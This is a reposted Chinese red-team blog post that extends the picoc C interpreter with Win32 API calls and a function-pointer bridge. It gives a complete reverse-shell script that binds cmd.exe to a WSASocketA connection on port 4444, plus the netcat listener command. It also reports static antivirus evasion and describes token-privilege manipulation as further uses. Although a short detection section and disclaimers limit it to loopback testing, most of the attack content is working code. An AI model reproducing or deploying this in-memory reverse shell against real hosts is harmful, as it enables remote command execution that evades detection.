文章总结: 该文档详细介绍了如何使用picoc微型C解释器在内存中动态执行C代码实现反弹shell的技术方案。文章通过为picoc增加WindowsAPI支持,实现了在解释器进程内连接监听端并将cmd.exe的标准输入输出绑定到socket的核心功能。重点解析了dcall函数指针调用桥的实现、picoc变参处理的特殊机制以及WSASocketA句柄继承等关键技术难点,提供了完整的POC实现路径和免杀效果验证。 综合评分: 85 文章分类: 渗透测试,红队,内网渗透,代码审计,安全工具
工具 | picoc 实战—用 C 语言动态解释实现反弹 shell
原创
mimi3389 mimi3389
赛博生存指南
2026年6月20日 08:58 浙江
在小说阅读器读本章
去阅读
picoc 是一个能把 C 源码直接在内存里「动态解释」执行的微型解释器。本文给picoc增加WindowAPI支持,C 在解释器进程里连回监听端、把
cmd.exe的标准输入输出绑到 socket 上,交出一个交互 shell?这篇就亲手把它跑通——全程 loopback,授权测试。实际上 CS 4.13 的 beacon 虚拟机已经有大佬当天就实现了。
picoc 还有一重背景:Cobalt Strike 4.13 那套 Beacon Interpreter 的 VM,正是从开源 picoc 重构扩展来的AI 生成 | Cobalt Strike 4.13 Lost in Translation — Beacon Interpreter 仓库源码解读。所以拿它来跑一次「解释器里执行 C → 反弹 shell」,是最短路径。
制品草稿静态免杀效果如下:
源码分享:https://pan.baidu.com/s/1mPTsv-BupR6zzfyjKG91vw?pwd=s5tt
一、目标:用 picoc 跑一次反弹 shell
一句话目标:让 picoc 解释执行一段 C 源码,这段源码在解释器进程内连回监听端,把 cmd.exe 的标准输入输出绑到 socket 上,交出一个交互 shell。
整条链路:
picoc -s revshell.c (脚本模式,从顶层语句跑,不需要 main)
│
▼ LoadLibraryA / GetProcAddress 解析 winsock + kernel32 导出
▼ dcall(fn, ...) 按指针调用任意 Win32 导出
WSAStartup → WSASocketA → SetHandleInformation(INHERIT)
→ connect(127.0.0.1:4444)
→ STARTUPINFO{ hStd* = socket } → CreateProcessA("cmd.exe", bInheritHandles=TRUE)
→ WaitForSingleObject (守住进程,让 shell 活着)
它跑起来是这样的——右窗 picoc 解释执行 revshell.c,左窗 netcat 监听端收到回连,whoami 回显 :
下面两节是底座和机制,真正的三道坎在四、五、六,完整 POC 在七。
二、底座:picoc 是什么
picoc 是一个微型 C 解释器(不是编译器)——Zik Saleeba 2009 年起的项目,Joseph Poirier 接手维护至今。它直接在内存里解释 C 源码,核心解释器只有约 5 千行(连自带的 C 标准库实现一起约 9 千行)。
它为什么适合做「进程内跑 C」的底座,两个理由:
- 1. 纯解释,不需要编译工具链。不像 BOF 那样要在本地
x86_64-w64-mingw32-gcc一通操作,picoc 直接吃 C 源码——写完即跑。 - 2. 不需要额外分配可执行内存。它解释执行,不往堆上落一块 RWX。脚本跑在既有解释器里,这条「申请内存 + 改权限 + 执行」的检测线索天然缺失。
(顺带一提:这条线接上更早一篇 《让 beacon 编译》(2026-06-15)[2],那个系列讨论「怎么把代码弄进运行时」——从编译后注入(BOF),到这一篇的进程内解释(picoc)。)
三、关键机制:怎么在 picoc 里调任意 Win32 API
POC 的全部难点,都收敛到一个问题上:picoc 怎么调用 Windows API。
picoc 自带一套内建函数(intrinsic)机制:把一个原生 C 函数指针和一段 picoc 原型串配对,登记到一张 struct LibraryFunction[] 表里,再通过 IncludeRegister("windows.h", ...) 注册。脚本里 #include <windows.h> 时,这套表就被绑进来。每个内建函数签名固定:
void CFunc(struct ParseState *Parser, struct Value *ReturnValue,
struct Value **Param, int NumArgs);
这套机制能让我们注入一批「便利层」API(MessageBoxA、VirtualAlloc、Sleep……每个写法干净、带类型检查)。但这不够——真实场景里要调任意 Win32 导出,一个一个枚举写成内建不现实。更通用、也更贴近实战的做法,是靠解析 + 指针调用:LoadLibraryA 拿到 DLL,GetProcAddress 拿到导出,再拿这个函数指针去调。
问题来了:picoc 不能通过指针调用函数。 它的表达式求值器(expression.c)里有一道硬门禁,只允许调用 picoc 自己的函数值(TypeFunction),原生指针它不认识、不解引用。
所以要在 picoc 里调任意 API,必须自己造一座桥——两张牌:
| picoc 内建 | 角色 |
| — | — |
| LoadLibraryA / GetModuleHandleA / GetProcAddress / FreeLibrary | 解析层 ——拿到任意 DLL 与导出 |
| dcall(void *fn, ...) | 指针调用桥 ——拿到指针后按指针调 |
dcall 就是那个”绕过门禁”的桥。它在 x64 上很好实现:x64 下 int 和 void * 都是 8 字节、只有一种调用约定,所以所有参数都可以统一按 intptr_t 编排,按元数(0~12)switch 分派,把 fn cast 成对应元数的函数指针类型调一下:
/* void *dcall(void *fn, ...) -- 调一个已解析的原生函数指针 */
void CDcall(struct ParseState *Parser, struct Value *ReturnValue,
struct Value **Param, int NumArgs)
{
void *fn = Param[0]->Val->Pointer;
int n = NumArgs - 1;
intptr_t a[12], r = 0;
/* ... 把 n 个变参填进 a[] ... */
switch (n) {
case 0: r = ((intptr_t (*)(void))fn)(); break;
case 1: r = ((intptr_t (*)(intptr_t))fn)(a[0]); break;
case 2: r = ((intptr_t (*)(intptr_t,intptr_t))fn)(a[0],a[1]); break;
/* ... 一路到 12 元 ... */
}
ReturnValue->Val->Pointer = (void *)r;
}
有了 dcall,picoc 脚本就能 LoadLibraryA + GetProcAddress 拿到任意导出,再 dcall 调用。
接下来三节,就是造这座桥、以及让 POC 真正跑通时踩的三道坎。
四、坑一:dcall 一带参数就崩 —— picoc 变参的真相
这是最难的一坎,也是最有 picoc 味道的一坎。
现象:dcall(fn)(0 参数)正常;一旦 dcall(fn, arg1, arg2) 带任何参数,立刻段错误。
第一反应(错的):变参嘛,Param[0] 是函数指针,Param[1]、Param[2]…… 不就是各参数吗?按这个下标去读。
错。picoc 不把变参放进 Param[]。它的 ParamArray(expression.c)是按固定形参的数量分配的——dcall 的原型里固定形参只有一个(fn),所以 Param[] 里只有 Param[0]。你读 Param[1] 就是在读越界内存,于是崩。
真相:变参被压在 picoc 的表达式栈上,紧跟在固定形参后面,连续排布。要拿到它们,得沿着 Value 结构体逐个走过去——这跟 picoc 自己的 printf 实现读 %s 参数是一模一样的手法。从 Param[0] 起步,按”当前这个 Value 占多大对齐空间”往前推一步,就到下一个参数:
/* picoc 把变参连续铺在表达式栈上,不在 Param[] 里。
* 下标 Param[1..] 会越界——这就是 dcall 带参就崩的根因。
* 照 cstdlib/stdio.c 里 printf 的走法,沿 Value 结构体逐个推进: */
struct Value *ThisArg = Param[0];
for (i = 0; i < n; i++) {
ThisArg = (struct Value *)((char *)ThisArg +
MEM_ALIGN(sizeof(struct Value) + TypeStackSizeValue(ThisArg)));
a[i] = WinMarshalArg(ThisArg);
}
步长就是 MEM_ALIGN(sizeof(struct Value) + TypeStackSizeValue(ThisArg))——一个 Value 头加上它那块值存储,对齐到 MEM_ALIGN。指针走指针、数组走内联 ArrayMem、标量走 Integer(WinMarshalArg 里按类型分发)。
这个坎印证了关于 picoc 的一句老话:“这不是标准 C 运行时。” picoc 的变参语义和宿主 C 不一样,你得按它的栈布局来。修掉它之后,dcall 才真正能传参。
五、坑二:picoc 没有指针算术,怎么写 Win32 结构体
POC 要调 connect、CreateProcessA,就得在脚本里亲手拼出 sockaddr_in、STARTUPINFO 这些结构体。正常 C 里你会这么写:
*((int*)(buf + 60)) = flags; // 在缓冲区偏移 60 处写一个 int
picoc 不支持这个。它的 C 子集有两道限制:
- • 不能对
void*/char*做指针算术(buf + 60报 “invalid operation”); - • 不能
*(int*)(buf+off) = ...这种强转型写。
但有三样东西能用,足够绕过去:
- •
&buf[off]——取数组元素的地址,合法; - •
memcpy(&buf[off], &val, n)——往那个地址拷 n 字节,合法; - • picoc 自己的
struct——嵌套成员访问、&member,都合法。
所以策略就一句话:把 Win32 结构体当成一块字节缓冲,所有字段都用 memcpy 往对应偏移写。 配一张 x64 布局表照着填:
| 结构体 | 大小 | 关键字段偏移 |
| — | — | — |
| sockaddr_in | 16 | sin_family @0, sin_port@2(网络序), sin_addr@4 |
| STARTUPINFOA | 104 | cb @0, dwFlags@60, hStdInput@80, hStdOutput@88, hStdError@96 |
| PROCESS_INFORMATION | 24 | hProcess @0, dwProcessId@16 |
脚本里就这么写(节选):
char si[104]; memset(si, 0, 104);
int cb = 104; memcpy(&si[0], &cb, 4);
int fl = 0x100; memcpy(&si[60], &fl, 4); /* STARTF_USESTDHANDLES */
memcpy(&si[80], &sock, 8); /* hStdInput = sock */
memcpy(&si[88], &sock, 8); /* hStdOutput = sock */
memcpy(&si[96], &sock, 8); /* hStdError = sock */
CreateProcessA 有 10 个参数,超过早期 dcall 的 8 元上限——顺手把 dcall 的元数封顶从 8 抬到 12,补上 case 9~12。
六、坑三:socket 必须来自 WSASocketA,不是 socket()
这一坎最隐蔽,也最经典。
现象:用 socket() 建连,SetHandleInformation(sock, INHERIT) 也设了,CreateProcessA(..., bInheritHandles=TRUE, ...) 也传了,启动参数里 hStdInput/Output/Error 全指向 socket——一切看起来都对,但 cmd.exe 一启动就 exit 1,socket 上一字节的 shell 输出都没有。
排查花了很久(一度怀疑是 STARTUPINFO 布局错了,专门编了个小程序把 104 字节逐字段打出来核对,全对)。最后定位到根因:
socket()返回的句柄,即使打了 INHERIT 标志,也不会真正被子进程继承。 这是 Winsock 的历史包袱。CreateProcess的bInheritHandles只继承”真正可继承”的句柄,而socket()给的句柄默认不是。
解法:换成 WSASocketA,它返回的句柄才是真正可继承的——这是 Metasploit 反弹 shell 多年的标准做法:
/* 必须是 WSASocketA,不是 socket()。
* socket() 的句柄不真正可继承,cmd.exe 拿不到 stdio,exit 1。 */
void *sock = dcall(fnWSASocket, 2/*AF_INET*/, 1/*SOCK_STREAM*/, 6/*IPPROTO_TCP*/, 0, 0, 0);
dcall(fnSetHandle, sock, 1/*HANDLE_FLAG_INHERIT*/, 1);
换上 WSASocketA,截图里那次回连就出来了。
七、完整 POC:revshell.c(授权测试 / loopback)
把上面三道坎的解法拼起来,就是完整脚本。解析 winsock 与 kernel32 的导出、建可继承 socket、连回 loopback、把 cmd.exe 的 stdio 绑到 socket:
#include <stdio.h>
#include <windows.h>
#include <string.h>
/* AUTHORIZED TESTING ONLY —— 目标 127.0.0.1,仅本地验证。
* 要点:socket 必须来自 WSASocketA(见坑三),结构体字段全用
* memcpy 写(见坑二),所有 Win32 调用走 dcall(见坑一/三节)。 */
void run() {
void *ws = LoadLibraryA("ws2_32.dll");
void *k32 = GetModuleHandleA("kernel32.dll");
void *fnWSAStartup = GetProcAddress(ws, "WSAStartup");
void *fnWSASocket = GetProcAddress(ws, "WSASocketA");
void *fnConnect = GetProcAddress(ws, "connect");
void *fnSetHandle = GetProcAddress(k32, "SetHandleInformation");
void *fnCreateProc = GetProcAddress(k32, "CreateProcessA");
void *fnWait = GetProcAddress(k32, "WaitForSingleObject");
int port = 4444;
char ip0 = 127, ip1 = 0, ip2 = 0, ip3 = 1; /* 127.0.0.1 */
char wsa[512]; memset(wsa, 0, 512); /* WSADATA,不读 */
dcall(fnWSAStartup, 0x0202, &wsa[0]);
void *sock = dcall(fnWSASocket, 2, 1, 6, 0, 0, 0); /* 可继承 socket */
dcall(fnSetHandle, sock, 1, 1);
char addr[16]; memset(addr, 0, 16); /* sockaddr_in */
addr[0] = 2; /* AF_INET */
int np = ((port >> 8) & 0xff) | ((port & 0xff) << 8);/* htons */
memcpy(&addr[2], &np, 2);
addr[4] = ip0; addr[5] = ip1; addr[6] = ip2; addr[7] = ip3;
int cr = (int)dcall(fnConnect, sock, &addr[0], 16);
if (cr != 0) { printf("connect failed GLE=%d\n", GetLastError()); return; }
char si[104]; memset(si, 0, 104); /* STARTUPINFOA */
int cb = 104; memcpy(&si[0], &cb, 4);
int fl = 0x100; memcpy(&si[60], &fl, 4); /* STARTF_USESTDHANDLES */
memcpy(&si[80], &sock, 8); memcpy(&si[88], &sock, 8); memcpy(&si[96], &sock, 8);
char pi[24]; memset(pi, 0, 24); /* PROCESS_INFORMATION */
char cmd[] = "cmd.exe";
int ok = (int)dcall(fnCreateProc, 0, &cmd[0], 0, 0, 1, 0, 0, 0, &si[0], &pi[0]);
if (!ok) { printf("CreateProcessA failed GLE=%d\n", GetLastError()); return; }
void *hproc; memcpy(&hproc, &pi[0], 8); /* PI.hProcess @0 */
dcall(fnWait, hproc, -1); /* 守住进程 */
}
run(); /* 脚本模式:顶层调用,无 main */
跑法(两个终端,loopback):
# 终端 1 —— 先起监听
nc.exe -lvnp 4444 # 或 PowerShell 的 TcpListener
# 终端 2 —— 再跑脚本(注意是 -s 脚本模式,不是 -c)
./picoc.exe -s tmp/revshell.c
顺带一个排错笔记:监听端如果用 Windows PowerShell 5.1 跑脚本,偶尔会在
WTGetSignatureInfo处抛AccessViolationException——那是 5.1 的签名校验老 bug,跟你的反弹 shell 无关。加-NoProfile或换pwsh(PowerShell 7)就好。所以截图里直接用了nc.exe,最干净。另一个常见误操作:把
./picoc.exe -s打成./picoc.exe -c。-c是 “copyright info”——只打印 BSD 许可证全文然后退出,完全不会读你的脚本。脚本模式认准-s。
八、能力地图:本 POC 交付了什么(以及不交付什么)
整套 Win32 能力分三层,都集中在 platform/library_msvc.c 一张表里,扩展零成本:
| 层 | 内容 | 说明 |
| — | — | — |
| 解析层 | LoadLibraryA / GetModuleHandleA / GetProcAddress / FreeLibrary | 进程内调任意 API 的命脉 |
| 指针调用桥 | dcall(void *fn, ...) | 绕过 picoc 不能指针调用的限制 |
| 便利层(Tier 1) | MessageBoxA / VirtualAlloc / VirtualProtect / CreateThread / Sleep / WaitForSingleObject / GetCurrentProcess … | 最常用 API,带类型检查的干净写法 |
有了「解析层 + dcall」,任意 Win32 导出都能调——不止反弹 shell,令牌操作(OpenProcessToken / AdjustTokenPrivileges / LookupPrivilegeValueA,同样 advapi32 解析 + dcall)也是同一套打法。便利层只是把最常用的那部分包成写法更干净、带类型检查的内建。
范围外(必须说清):本 POC 不做真实实战工具的传输、加密、C2 协议、心跳、sleep mask——只交付「解释器 + Win32 API 面」。上面这个反弹 shell 是机制验证用的 POC,目标是 loopback,不是拿来即用的实战工具。
九、背景:这条线从哪来
这篇是几条线的交汇点,简短交代清楚 picoc 的来路:
- • picoc 的血缘:Cobalt Strike 4.13 Beacon Interpreter 的 VM 是从开源 picoc 重构扩展来的,06-19 那篇[1] 解读过官方做了什么——官方走 Teamserver 编译字节码 → 随 C2 下发 → VM 解释;本篇走的是进程内源码直接解释 →
GetProcAddress+dcall,更直白。 - • 系列红线:《让 beacon 编译》(2026-06-15)[2] 讨论「怎么把代码弄进运行时」——从编译后注入(BOF),到本篇的进程内解释(picoc)。
一句话:本篇不替代官方、也不是拿来即用的实战工具——只把开源 picoc 改造成一个能在进程内解释执行 C、并调任意 Win32 的解释器,用它跑通一个 loopback 反弹 shell,把机制讲透。
十、防御视角(简短)
进程内解释器最大的特点:它把”申请内存 + 改权限 + 执行”这条经典 BOF 检测链架空了——脚本跑在既有解释器里,不在堆上落可执行内存。本 POC 也一样:picoc.exe 进程自始至终没有 VirtualAlloc 一块 RWX 来跑 shellcode。
但盲区不等于隐身。本 POC 的全部能力最终都要落到 Win32 API 调用上——WSASocketA / connect / CreateProcessA,以及令牌操作的 OpenProcessToken / AdjustTokenPrivileges。调用边界没变,所以API 行为监控(谁、在什么上下文、对谁、调了什么)仍然是着力点。战场从”内存权限”挪到了”调用行为”。
结语
用 picoc 的 C 动态解释跑通一个反弹 shell,其实就解三件事:
- 1. 怎么注入 API 面——解析层 +
dcall指针调用桥(绕过 picoc 不能指针调用的硬门禁); - 2. 怎么在受限 C 子集里操作结构体——没有指针算术,就用
memcpy(&buf[off], &val, n); - 3. 怎么处理平台细节——socket 必须来自
WSASocketA才真正可继承。
三道坎,每道都是实地踩出来的,每道解法都写在上面。最后那张截图,就是它们全部解开的证据。
下一篇,大概率会在这个解释器上接着做——把网络能力收成一个干净的 RevShell(ip, port) 内建,或者补一个 bind shell 版本,让 POC 从”能跑”走向”好用”。
本文基于开源 picoc 仓库与公开资料撰写,所有代码与演示均为授权安全研究用途、目标限定 loopback,仅作技术研究与防御教育。
参考资源
- • picoc — 开源 C 解释器(GitHub)[3]
- • Cobalt Strike 4.13: Lost In Translation — 官方博客[4]
- • beacon-interpreter — 官方开源开发支持包(GitHub)[5]
- • 本号系列:《让 beacon 编译》(2026-06-15)[2]、《Cobalt Strike 4.13 Beacon Interpreter 解读》(2026-06-19)[1]
引用链接
[1] 06-19 解读: 2026-06-19
[2] 《让 beacon 编译》(2026-06-15): 2026-06-15
[3] picoc — 开源 C 解释器(GitHub): https://github.com/zsaleeba/picoc
[4] Cobalt Strike 4.13: Lost In Translation — 官方博客: https://www.cobaltstrike.com/blog/cobalt-strike-413-lost-in-translation
[5] beacon-interpreter — 官方开源开发支持包(GitHub): https://github.com/Cobalt-Strike/beacon-interpreter
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛博生存指南 mimi3389 mimi3389《工具 | picoc 实战—用 C 语言动态解释实现反弹 shell》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论